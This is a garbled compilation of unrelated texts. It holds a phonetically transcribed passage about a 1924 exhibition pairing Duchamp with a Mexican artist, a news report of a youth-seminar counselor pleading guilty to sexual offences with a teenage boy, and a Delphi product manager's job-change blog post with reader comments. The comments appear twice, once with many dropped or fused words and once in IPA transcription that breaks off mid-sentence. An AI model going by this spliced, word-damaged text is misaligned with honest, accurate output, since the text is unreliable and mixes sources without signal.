ˈlɑrʤəst skulz əv θɔt ˈlɑʤɪkəl ˈvərsəz. ˈiˌmoʊʃənəl, saɪəns ˈvərsəz. feɪθ, oʊld wərld ˈvərsəz. nu keɪm tɪ ə hɛd, fər ɪt wɑz æt ðət ʃoʊ ðət fər ðə fərst taɪm, ðə wərks əv ðə frɛnʧ mɑrˈsɛl duˈʃɑmp wʊd bi ɪgˈzɪbətəd əˈlɔŋˈsaɪd ðoʊz əv ruiz ˈmɑrkoʊs, ðə ˈmɛksəkən ˈɑrtɪst huz θimz əv ˈmæʤɪkəl ˈriəlɪzm ənd rɪˈlɪʤəs ɔ ˌɪntərtˈwaɪnd wɪθ ðə ˈvɪsərəli ækˈsɛsəbəl əv ɑr wərld hæd sɛt ɑrt ˈkrɪtɪks ˈwərldˈwaɪd æt wɔr wɪθ iʧ ˈəðər. ðoʊz hu sɔ ðə tu ˈdʊrɪŋ ðə deɪz ˈlidɪŋ əp tɪ ðə ˈoʊpənɪŋ əv ðə ˌɛksəˈbɪʃən sɛd ðeɪ spɛnt ˈnɪrli ðə ɪnˈtaɪər taɪm ɪn ˈhitɪd dɪˈskəʃən wɪθ wən əˈnəðər (ɪn ˈɪŋlɪʃ, fər ˈniðər spoʊk ðə ˈəðərz ˈməðər təŋ ˈkɑnfədəntli) əˈbaʊt ˈɛvriˌθɪŋ ˈəndər ðə sən ðə ˌɪmˈpɔrtəns əv ðə ˈɑrtɪst ɪn riˈleɪʃən tɪ hɪz wərk, ðə ˌɪmˈpɔrtəns əv ˈkɑntɛkst, feɪθ, ˈnɑlɪʤ, lɔ, fri wɪl, gɑd, ðə steɪt, dɪˈmɑkrəsi, ˈmɑrksɪzəm, ðə wɔr, ðə lig əv ˈneɪʃənz, ənd ðə bɛst weɪ tɪ sərv ə kəp əv ˈkɔfi. ɪt simd ðət ðeɪ maɪt kənˈtɪnju ˈbɪkərɪŋ θruaʊt ðə ɪnˈtaɪər ˌɛksəˈbɪʃən, bət ɛz ðə ˈɑrtɪsts priˈpɛrd tɪ grit ðə əˈsɛmbəld prɛs ɔn ðə ˈmɔrnɪŋ əv ɪts grænd ˈoʊpənɪŋ, ðeɪ əˈpɪrd tɪ hæv ˈfaɪnəli kəm tɪ ən ˌəndərˈstændɪŋ. ɪf ðɛr ɪz wən ˈɪmɪʤ ðət kəmz tɪ ðə maɪnd əv ˈɛni ɑrt hɪˈstɔriən wɪn ðə 1924 ˈɛkspoʊ ɪz brɔt əp, ɪt ɪz əv ðət ˌaɪˈkɑnɪk ˈfoʊˌtoʊ əv duˈʃɑmp ənd ruiz ˈpoʊzɪŋ saɪd baɪ saɪd wɪθ ðɛr ˈfɛloʊ ˈɑrtɪsts ɪn frənt əv ðə dɔrz, ˈmɑrkoʊs ˈsimɪŋli ˈlinɪŋ ˈoʊvər tɪ ˈwɪspər ˈsəmθɪŋ ˈɪntu duˈʃɑmps ɪr. fər ˈdɛkeɪdz, ˈmɛni hæv ˈspɛkjəˌleɪtɪd ɔn wət wərdz ˈmɑrkoʊs hæd fər hɪz ˈkɑlig ˈdʊrɪŋ ðət ˈmɛmərəbəl ˈɪnstənt; ə kˈwɛʃən əv ˌmɛtəˈfɪzɪks? ər ə ˈʧælənʤ? ən ˌæfərˈmeɪʃən əv ðɛr ˈkəmɪŋ tɪ tərmz? ə riˈmaɪndər əv ðə ˈrizən waɪ ðeɪ wər ðɛr æt ðət ˈmoʊmənt əv taɪm? pərˈhæps ən ɪkˈsprɛʃən əv əˈmeɪzmənt æt ðə ˈməltəˌtjudz ðət hæd kəm tɪ si ðɛm? əˈkɔrdɪŋ tɪ wən rɪˈpɔrtər hu kleɪmd hi stʊd kloʊz ɪˈnəf tɪ ˈoʊvərˈhir ðət ˈwɪspər əˈmɪdst ðə dɪn əv ðə kraʊd, ɪt wɑz ɔl faɪv æt wəns, ɪkˈsprɛst ɪn fɔr ˈsɪmpəl wərdz; "ər wi kul jɛt?" ˈɛksərpt frəm ðə ˈkuləst wɔr: ˈmɛməriz əv ə ˈkrɪtɪk, baɪ əˈnɑnəməs |
farmington a former counselor of the popular especially for youth religious seminar has pleaded guilty to sexual activity with a teenage boy he met through the program.
keldon severn "kc" cook, 29, pleaded guilty earlier this week to one count of attempted sexual exploitation of a minor and three counts of unlawful sexual conduct with a 16 or 17 year old. all the charges are felonies.
cook was originally charged with four counts of forcible sodomy, a felony; one count each of felony forcible sexual abuse and sexual exploitation of a minor; and one felony count of dealing in materials harmful to a minor.
investigators say cook met the boy, who was 14 at the time, at byu in 2012 when he was assigned as his counselor during the weeklong program of the church of jesus christ of saints.
the two stayed in contact through social media and texting, police say, and began sending "inappropriate" and "disgusting" messages. the boy told investigators the explicit conversations confused him but that he looked up to cook as a mentor.
shortly after the boy turned 16, cook allegedly met with him at the temple in bountiful to "catch up" and then went to a nearby park.
"(cook) made advances toward the minor male in the minor male's car," the charges state. "the minor male stated to law enforcement that the defendant persuaded him that the contact they had was acceptable and that it was acceptable because (cook) was his counselor."
cook met up with the teen, then 17, twice more in 2014 at the same davis county park.
cook and the boy also exchanged explicitly sexual photos with each other during the same time period, the charges state.
"the defendant told the minor male that this was acceptable as he had photos with other boys,'" the charges state.
cook, who was arrested in april, remains in the davis county jail. sentencing has been scheduled for nov. 30.
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joiningarcadero as delphi product manager if you follow my twitter account or have attended the product address of, you now that i've just made a big career change, joiningarcadero technologies. if you follow my twitter account or have attended the product address of, you now that i've just made a big career change, joiningarcadero technologies. i've been working with borland andarcadero products for over two decades, have been writing books on the technologies (well, mostly delphi), have been a technical partner and my company was (and still remains) a sales partner in italy. i've been in touch with the team, developer relations, marketing people and product managers. but even recently i won't have envisioned joining the company. i was offered the job to help shape future and didn't have to ponder a lot. the position i'm taking is delphi product manager, although there is actually a product management team for rad studio, with split and shared responsibilities. i'll be based in europe (working from home, when not on the road), where there are some of the teams and a large number of delphi customers. for delphi developers in europe this is good news, as it might be easier to reach me at "local" conferences and events. i'll start by attending in 2 weeks. in case you are wondering, i'll keep doing some of my current activities, like keeping this blog open and active and use my personal twitter account. i'll try to put some of my (limited) free time on books writing, and make sure some of my open source projects have a future. but it is hard to tell, as i have a lot to learn right now. needless to say i'm open for comments, use my new email address at (but i'll keep monitoring also my older email accounts). feel also free to use this blog for posting comments, ideas, constructive criticism... you know what i mean, we need a healthy and more relaxed community around delphi. so, this is all for now. stay tuned to this space for news and updates. it's a new adventure, i hope you'll enjoy it with me. long live delphi!
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joiningarcadero as delphi product manager as i've already on twitter, i would like to congratulate you on your new job! i've used delphi for many years for many things, and as a delphi developer i feel assured that its future is in safe hands!
joiningarcadero as delphi product manager congratulations toarcadero, the delphi community worldwide and to you marco! they are very lucky and fortunate to have you! good luck and have fun! -lino
joiningarcadero as delphi product manager excellent news marco. i'm sure you'll be up to this challenge. lachlan
joiningarcadero as delphi product manager congratulations marco! all the best
joiningarcadero as delphi product manager congrats marco! i hope you will support a linux compiler soon! best regards,
joiningarcadero as delphi product manager wow, congratulations, marco! and good luck! :)
joiningarcadero as delphi product manager i'm really excited by the news, for many reasons but mainly because we needed someone with real love for delphi. congratulations and you can be sure that the community is very happy with your new job.
joiningarcadero as delphi product manager all the best for you atarcadero.
joiningarcadero as delphi product manager it is great to know that we have a delphi user voice insidearcadero! congrats from me and the brazilian team!
joiningarcadero as delphi product manager!, enhorabuena, congratulations!. your last words are very important, a relaxed community, lately we had have a lot of disturbing comments from the community, and personally i understand them, for example this last release came with less so needed features, wasn't a priority, many are waiting for linux or android, orm, etc. visual is great, ti be short. keep an eye on community and upon all keep visible the roadmap, it we'll be your key to succed.
joiningarcadero as delphi product manager marco, quéa noticia! al de delphi, los por venir! éxitos! :) qué somos!
joiningarcadero as delphi product manager great news marco, brazilian developers were so happy with the future of delphi now
joiningarcadero as delphi product manager this is excellent news for delphi and the community! congratulations, and i wish you great success in your new position!
joiningarcadero as delphi product manager congratulations, marco.
joiningarcadero as delphi product manager congratulations. wish you all the best. the wise bunny knows spectacular hops are always preceded by unspectacular preparation.(@bunnybuddhism)
joiningarcadero as delphi product manager congratulation marco. as product manager can you please post some comments on the following -> delphi -> non-technical blog: "if i were the delphi product manager, i would ..." or can you at least tell the community what your plans are, and how much impact you have in to make delphi again a success story? currently i am really about the future for delphi.
joiningarcadero as delphi product manager congratulations marco, i think.... top of my wish list.... stability and quality, not new features and frameworks. how about bug report 104240 for a start. that effectively stops you using 64 bit delphi for client side applications that make use of with midaslib. so in a clientver environment, you can only make use of the 64 bit on thever side.
joiningarcadero as delphi product manager hi marco, my congrats, after all your great delphi support, you earned it !! imho, your appointment as the delphi product manager is definitely the best news expected from a while by the delphi community. hopefully under your "mastering wand" and with your great technical and communication skills will bring delphi back to the developer hearts and minds. delphi needs fresh blood ...and with the new mobile focus under rad mobile studio umbrella we can expect more developers will look back into (real!) rad. i also about these late announcements: 7: day 1 highlights - marco cantu is the new delphi product manager, rad mobile studio demoed, relevant links- day-1-highlights-marco-cantu-is-the-new-delphi- product-manager-rad-mobile-studio-demoed-relevant- links
joiningarcadero as delphi product manager ! per delphi.
joiningarcadero as delphi product manager marco... che dire non migliore per dare un a delphi... per quello che perchè lo bene....)
joiningarcadero as delphi product manager congrats! this is a really bold move. what happens to italia now though? will it still exist as a company? regards, a
joiningarcadero as delphi product manager congratulations!!! it's the best news on a very long time. although the rumour spread since last friday, i didn't gave much attention. i hope you can give feedback on to change things and make the (once greatest) rad tool great again.
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joiningarcadero as delphi product manager congratulation to you marco, hope you can make some changes that all of delphi fans wishes since ages ago. there is one thing i know: - communication, please be more communicative on what is going on with the community, right now, all delphi user never get any information on what will be planned on the next release until near the release date, well it is impossible to develop delphi only within a month or two before release right? so i'm pretty sure you have a release plan list, right now delphi still have a lot of bugs and ide stability issues, at least please tell us what bugs is planned to be fixed. it is a start well sorry for long comment, but i will send you an email if i've gathered more thought. success to you, delphi andarcadero iwan
joiningarcadero as delphi product manager congratulations marco! please fix as many bugs as possible and bring the same level of documentation as your books provide. best wishes.
joiningarcadero as delphi product manager marco!!!
joiningarcadero as delphi product manager congratulations marco!!!!!! i am very happy for you e for this very great news! best regards and good luck claudio
joiningarcadero as delphi product manager di delphi,. complimenti!
joiningarcadero as delphi product manager congratulation marco, this a big gain for the whole delphi community and gives me more confidence in the future of delphi! ;-) regards niels
joiningarcadero as delphi product manager congratulation marco, this a big gain for the whole delphi community and gives me more confidence in the future of delphi! ;-) regards niels
joiningarcadero as delphi product manager congratulations and wish you the best. another great improvement in the delphi climb to the top.
joiningarcadero as delphi product manager wish you lot of luck & success in a this new adventure marco! compliments, b.
joiningarcadero as delphi product manager congratulation marco, i hope this is good news for delphi community.
joiningarcadero as delphi product manager congratulations marco! you have been a wonderful teacher and resource to the delphi community for so long, i am glad you will be taking on a more official role :-)
joiningarcadero as delphi product manager congratulation, marco. i've used delphi since version 1 but i've not been interested in any staff for delphi so i didn't know who you are. recently, i noticed that everything of delphi is not going well. and i believe that it is time to communicate with the staff like you for the future of delphi. once again, all the best and congratulation!
joiningarcadero as delphi product manager !!, yo he de delphi no solo sus sino sus (empecé con turbo pascal a de los 80s). la a ideas y para lo siguiente: el des de que delphi ha el son los aspectos; pero, en mi caso, y que en el de, que la mayor falla es el no el valor que, a empresariales, es : el al la parte de en linux. en mi país, y, hasta donde conozco, en en general, a empresarial, windows domina la del mercado. por ello, tener el en una linux, no es para el empresario, ya que loss, por la de un en linux compatible con, windows y por ello, sin loo que un en linux, no a linux. en cambio, tener la parte de web en linux un de para ellos, y es el principal que les delphi; de hecho, en lo personal, el del ha para que no me mi como la en una : no actualizaré mi delphi hasta no compile al la parte de para linux
joiningarcadero as delphi product manager congratulations, marco! as someone whose first salary was for turbo pascal' project, i have deep feelings about (borland) pascal and delphi. i hope you can persuade the folks over there to revive the turbo delphi and let younger folks (and older ones like me who do not need development product) to keep in touch with delphi.
joiningarcadero as delphi product manager congrats marco in your new role atarcadero. i have translated below the comment posted in spanish by rolando. cheers yanniel. "congratulations!!, i have been a delphi user not only from its inception but even from the time of its ancestors (i began with turbo pascal in the middle of the 80th). i want to take advantage of your invitation in order to provide some thoughts and constructive criticism: i share the feelings of many users about delphi taking the wrong path since many years ago. there are many aspects; but in my case, and i believe this is also the case for many others, the majorlure is not include the of being able to compile to linux at least thever side code. this is the most significant aspect for those like me having business versions. in my country, and to the best of my knowledge in latin america, windows dominates the market in the business area. because of that, having the client in a linux box is not very attractive to the entrepreneur; since the users, due to the lack of a good support of in linux, always require windows. regardless of how good is our linux application, those users change to linux. on the other hand, having thever side (web) in linux brings significant savings for the entrepreneurs; the main problem when we offer our delphi solution to them. as a fact, in my personal case, thever cost was the reason to lose a few business deals. my petition as a user is summarized into one line: i update my delphi ide until it is able to compile to linux at least thever side." comment by rolando on november 18,
joiningarcadero as delphi product manager lo es que delphi a el decion para win, mac y linux y de crear web sin mucho sin la de delphi. la a punto de este gran decion queas la version hasta la version 2010. !!! gustavo diego ochoa paniagua la paz - bolivia
joiningarcadero as delphi product manager marco por este nuevo y que delphi de y este en todos los operativos. juan méxico.
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40 ˈkɑmɛnts ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ɛz aɪv ɔˈrɛdi ɔn tˈwɪtər, aɪ wʊd laɪk tɪ kənˈgræʧəˌleɪt ju ɔn jʊr nu ʤɑb! aɪv juzd ˈdɛlfaɪ fər ˈmɛni jɪrz fər ˈmɛni θɪŋz, ənd ɛz ə ˈdɛlfaɪ dɪˈvɛləpər aɪ fil əˈʃʊrd ðət ɪts fˈjuʧər ɪz ɪn seɪf hænz! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz tɪ ɛmˌbɑrkəˈdɛroʊ, ðə ˈdɛlfaɪ kəmˈjunɪti ˈwərldˈwaɪd ənd tɪ ju ˈmɑrkoʊ! ðeɪ ər ˈvɛri ˈləki ənd ˈfɔrʧənət tɪ hæv ju! gʊd lək ənd hæv fən! -ˈlinoʊ ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ˈɛksələnt nuz ˈmɑrkoʊ. əm ʃʊr jul bi əp tɪ ðɪs ˈʧælənʤ. ˈlæklən ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ˈmɑrkoʊ! ɔl ðə bɛst ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˈgræts ˈmɑrkoʊ! aɪ hoʊp ju wɪl səˈpɔrt ə ˈlɪnəks kəmˈpaɪlər sun! bɛst rɪˈgɑrdz, ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər waʊ, kənˌgræʧəˈleɪʃənz, ˈmɑrkoʊ! ənd gʊd lək! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər əm ˈrɪli ɪkˈsaɪtɪd baɪ ðə nuz, fər ˈmɛni ˈrizənz bət ˈmeɪnli bɪˈkəz wi ˈnidɪd ˈsəmˌwən wɪθ ril ləv fər ˈdɛlfaɪ. kənˌgræʧəˈleɪʃənz ənd ju kən bi ʃʊr ðət ðə kəmˈjunɪti ɪz ˈvɛri ˈhæpi wɪθ jʊr nu ʤɑb. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ɔl ðə bɛst fər ju æt ɛmˌbɑrkəˈdɛroʊ. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ɪt ɪz greɪt tɪ noʊ ðət wi hæv ə ˈdɛlfaɪ ˈjuzər vɔɪs ˌɪnˈsaɪd ɛmˌbɑrkəˈdɛroʊ! kənˈgræts frəm mi ənd ðə brəˈzɪljən tim! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər!, enhorabuena*, kənˌgræʧəˈleɪʃənz!. jʊr læst wərdz ər ˈvɛri ˌɪmˈpɔrtənt, ə rɪˈlækst kəmˈjunɪti, ˈleɪtli wi hæd hæv ə lɔt əv dɪˈstərbɪŋ ˈkɑmɛnts frəm ðə kəmˈjunɪti, ənd ˈpərsənəli aɪ ˌəndərˈstænd ðɛm, fər ɪgˈzæmpəl ðɪs læst riˈlis keɪm wɪθ lɛs soʊ ˈnidɪd ˈfiʧərz, ˈwəzənt ə praɪˈɔrəti, ˈmɛni ər ˈweɪtɪŋ fər ˈlɪnəks ər ˈænˌdrɔɪd, orm*, ˌɛtˈsɛtərə. ˈvɪʒəwəl ɪz greɪt, ti bi ʃɔrt. kip ən aɪ ɔn kəmˈjunɪti ənd əˈpɑn ɔl kip ˈvɪzəbəl ðə roadmap*, ɪt wɪl bi jʊr ki tɪ succed*. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ˈmɑrkoʊ, qué*é ˈbunə noticia*! æl də ˈdɛlfaɪ, lɔs pɔr venir*! ééxitos*! qué*é somos*! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər greɪt nuz ˈmɑrkoʊ, brəˈzɪljən dɪˈvɛləpərz wər soʊ ˈhæpi wɪθ ðə fˈjuʧər əv ˈdɛlfaɪ naʊ ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ðɪs ɪz ˈɛksələnt nuz fər ˈdɛlfaɪ ənd ðə kəmˈjunɪti! kənˌgræʧəˈleɪʃənz, ənd aɪ wɪʃ ju greɪt səkˈsɛs ɪn jʊr nu pəˈzɪʃən! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz, ˈmɑrkoʊ. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz. wɪʃ ju ɔl ðə bɛst. ðə waɪz ˈbəni noʊz spɛkˈtækjələr hɑps ər ˈɔlˌweɪz prɪˈsidɪd baɪ ˌənspɛkˈtækjələr preparation.(@bunnybuddhism*) ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən ˈmɑrkoʊ. ɛz ˈprɑdəkt ˈmænɪʤər kən ju pliz poʊst səm ˈkɑmɛnts ɔn ðə ˈfɑloʊɪŋ ˈdɛlfaɪ nɑnˈtɛknɪkəl blɔg: "ɪf aɪ wər ðə ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər, aɪ wʊd ər kən ju æt list tɛl ðə kəmˈjunɪti wət jʊr plænz ər, ənd haʊ məʧ ˌɪmˈpækt ju hæv ɪn tɪ meɪk ˈdɛlfaɪ əˈgɛn ə səkˈsɛs ˈstɔri? ˈkərəntli aɪ æm ˈrɪli əˈbaʊt ðə fˈjuʧər fər ˈdɛlfaɪ. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ˈmɑrkoʊ, aɪ θɪŋk.... tɔp əv maɪ wɪʃ lɪst.... stəˈbɪlɪti ənd kˈwɑləti, nɑt nu ˈfiʧərz ənd ˈfreɪmˌwərks. haʊ əˈbaʊt bəg rɪˈpɔrt 104240 fər ə stɑrt. ðət ˈifɛktɪvli stɑps ju ˈjuzɪŋ 64 bɪt ˈdɛlfaɪ fər klaɪənt saɪd ˌæpləˈkeɪʃənz ðət meɪk juz əv wɪθ midaslib*. soʊ ɪn ə klaɪənt ˈsərvər ɪnˈvaɪrənmənt, ju kən ˈoʊnli meɪk juz əv ðə 64 bɪt ɔn ðə ˈsərvər saɪd. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər haɪ ˈmɑrkoʊ, maɪ kənˈgræts, ˈæftər ɔl jʊr greɪt ˈdɛlfaɪ səˈpɔrt, ju ərnd ɪt imho*, jʊr əˈpɔɪntmənt ɛz ðə ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ɪz ˈdɛfənətli ðə bɛst nuz ɪkˈspɛktɪd frəm ə waɪl baɪ ðə ˈdɛlfaɪ kəmˈjunɪti. ˈhoʊpfəli ˈəndər jʊr "ˈmæstərɪŋ wɑnd" ənd wɪθ jʊr greɪt ˈtɛknɪkəl ənd kəmˌjunəˈkeɪʃən skɪlz wɪl brɪŋ ˈdɛlfaɪ bæk tɪ ðə dɪˈvɛləpər hɑrts ənd maɪndz. ˈdɛlfaɪ nidz frɛʃ bləd ...ənd wɪθ ðə nu ˈmoʊbəl ˈfoʊkɪs ˈəndər ræd ˈmoʊbəl ˈstudiˌoʊ ˈəmˌbrɛlə wi kən ɪkˈspɛkt mɔr dɪˈvɛləpərz wɪl lʊk bæk ˈɪntu (ril!) ræd. aɪ ˈɔlsoʊ əˈbaʊt ðiz leɪt əˈnaʊnsmɛnts: 7 deɪ 1 ˈhaɪˌlaɪts ˈmɑrkoʊ ˈkæntu ɪz ðə nu ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər, ræd ˈmoʊbəl ˈstudiˌoʊ demoed*, ˈrɛləvənt lɪŋks day-1-highlights-marco-cantu-is-the-new-delphi*- product-manager-rad-mobile-studio-demoed-relevant*- lɪŋks ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər pər ˈdɛlfaɪ. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ˈmɑrkoʊ... ʧeɪ daɪər nɑn migliˈɔri pər dɛr ˈjuˈɛn ə ˈdɛlfaɪ... pər kˈwɛloʊ ʧeɪ perchè*è loʊ ˈbɛnə....) ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˈgræts! ðɪs ɪz ə ˈrɪli boʊld muv. wət ˈhæpənz tɪ ˌɪˈtæljə naʊ ðoʊ? wɪl ɪt stɪl ɪgˈzɪst ɛz ə ˈkəmpəˌni? rɪˈgɑrdz, ə ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz!!! ɪts ðə bɛst nuz ɔn ə ˈvɛri lɔŋ taɪm. ˌɔlˈðoʊ ðə ˈrumər sprɛd sɪns læst ˈfraɪˌdeɪ, aɪ ˈdɪdənt geɪv məʧ əˈtɛnʃən. aɪ hoʊp ju kən gɪv ˈfidˌbæk ɔn tɪ ʧeɪnʤ θɪŋz ənd meɪk ðə (wəns ˈgreɪtəst) ræd tul greɪt əˈgɛn. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kəˈləmbiə. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən tɪ ju ˈmɑrkoʊ, hoʊp ju kən meɪk səm ˈʧeɪnʤɪz ðət ɔl əv ˈdɛlfaɪ fænz ˈwɪʃɪz sɪns ˈeɪʤɪz əˈgoʊ. ðɛr ɪz wən θɪŋ aɪ noʊ: kəmˌjunəˈkeɪʃən, pliz bi mɔr kəmˈjunəkətɪv ɔn wət ɪz goʊɪŋ ɔn wɪθ ðə kəmˈjunɪti, raɪt naʊ, ɔl ˈdɛlfaɪ ˈjuzər ˈnɛvər gɪt ˈɛni ˌɪnˌfɔrˈmeɪʃən ɔn wət wɪl bi plænd ɔn ðə nɛkst riˈlis ənˈtɪl nɪr ðə riˈlis deɪt, wɛl ɪt ɪz ˌɪmˈpɑsəbəl tɪ dɪˈvɛləp ˈdɛlfaɪ ˈoʊnli wɪˈθɪn ə mənθ ər tu ˌbiˈfɔr riˈlis raɪt? soʊ əm ˈprɪti ʃʊr ju hæv ə riˈlis plæn lɪst, raɪt naʊ ˈdɛlfaɪ stɪl hæv ə lɔt əv bəgz ənd aɪd stəˈbɪlɪti ˈɪʃuz, æt list pliz tɛl ˈjuˈɛs wət bəgz ɪz plænd tɪ bi fɪkst. ɪt ɪz ə stɑrt wɛl ˈsɑri fər lɔŋ ˈkɑmɛnt, bət aɪ wɪl sɛnd ju ən iˈmeɪl ɪf aɪv ˈgæðərd mɔr θɔt. səkˈsɛs tɪ ju, ˈdɛlfaɪ ənd ɛmˌbɑrkəˈdɛroʊ ˈiwɑn ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ˈmɑrkoʊ! pliz fɪks ɛz ˈmɛni bəgz ɛz ˈpɑsəbəl ənd brɪŋ ðə seɪm ˈlɛvəl əv ˌdɑkjəmɛnˈteɪʃən ɛz jʊr bʊks prəˈvaɪd. bɛst ˈwɪʃɪz. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ˈmɑrkoʊ!!! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ˈmɑrkoʊ!!!!!! aɪ æm ˈvɛri ˈhæpi fər ju i fər ðɪs ˈvɛri greɪt nuz! bɛst rɪˈgɑrdz ənd gʊd lək ˈklɔdiˌoʊ ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər di ˈdɛlfaɪ,. complimenti*! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən ˈmɑrkoʊ, ðɪs ə bɪg geɪn fər ðə hoʊl ˈdɛlfaɪ kəmˈjunɪti ənd gɪvz mi mɔr ˈkɑnfədɛns ɪn ðə fˈjuʧər əv ˈdɛlfaɪ! rɪˈgɑrdz nilz ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən ˈmɑrkoʊ, ðɪs ə bɪg geɪn fər ðə hoʊl ˈdɛlfaɪ kəmˈjunɪti ənd gɪvz mi mɔr ˈkɑnfədɛns ɪn ðə fˈjuʧər əv ˈdɛlfaɪ! rɪˈgɑrdz nilz ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ənd wɪʃ ju ðə bɛst. əˈnəðər greɪt ˌɪmˈpruvmənt ɪn ðə ˈdɛlfaɪ klaɪm tɪ ðə tɔp. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər wɪʃ ju lɔt əv lək səkˈsɛs ɪn ə ðɪs nu ədˈvɛnʧər ˈmɑrkoʊ! ˈkɑmpləmɛnts, bi. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən ˈmɑrkoʊ, aɪ hoʊp ðɪs ɪz gʊd nuz fər ˈdɛlfaɪ kəmˈjunɪti. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz ˈmɑrkoʊ! ju hæv bɪn ə ˈwəndərfəl ˈtiʧər ənd ˈrisɔrs tɪ ðə ˈdɛlfaɪ kəmˈjunɪti fər soʊ lɔŋ, aɪ æm glæd ju wɪl bi ˈteɪkɪŋ ɔn ə mɔr əˈfɪʃəl roʊl ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃən, ˈmɑrkoʊ. aɪv juzd ˈdɛlfaɪ sɪns ˈvərʒən 1 bət aɪv nɑt bɪn ˈɪntəˌrɛstɪd ɪn ˈɛni stæf fər ˈdɛlfaɪ soʊ aɪ ˈdɪdənt noʊ hu ju ər. ˈrisəntli, aɪ ˈnoʊtɪst ðət ˈɛvriˌθɪŋ əv ˈdɛlfaɪ ɪz nɑt goʊɪŋ wɛl. ənd aɪ bɪˈliv ðət ɪt ɪz taɪm tɪ kəmˈjunəˌkeɪt 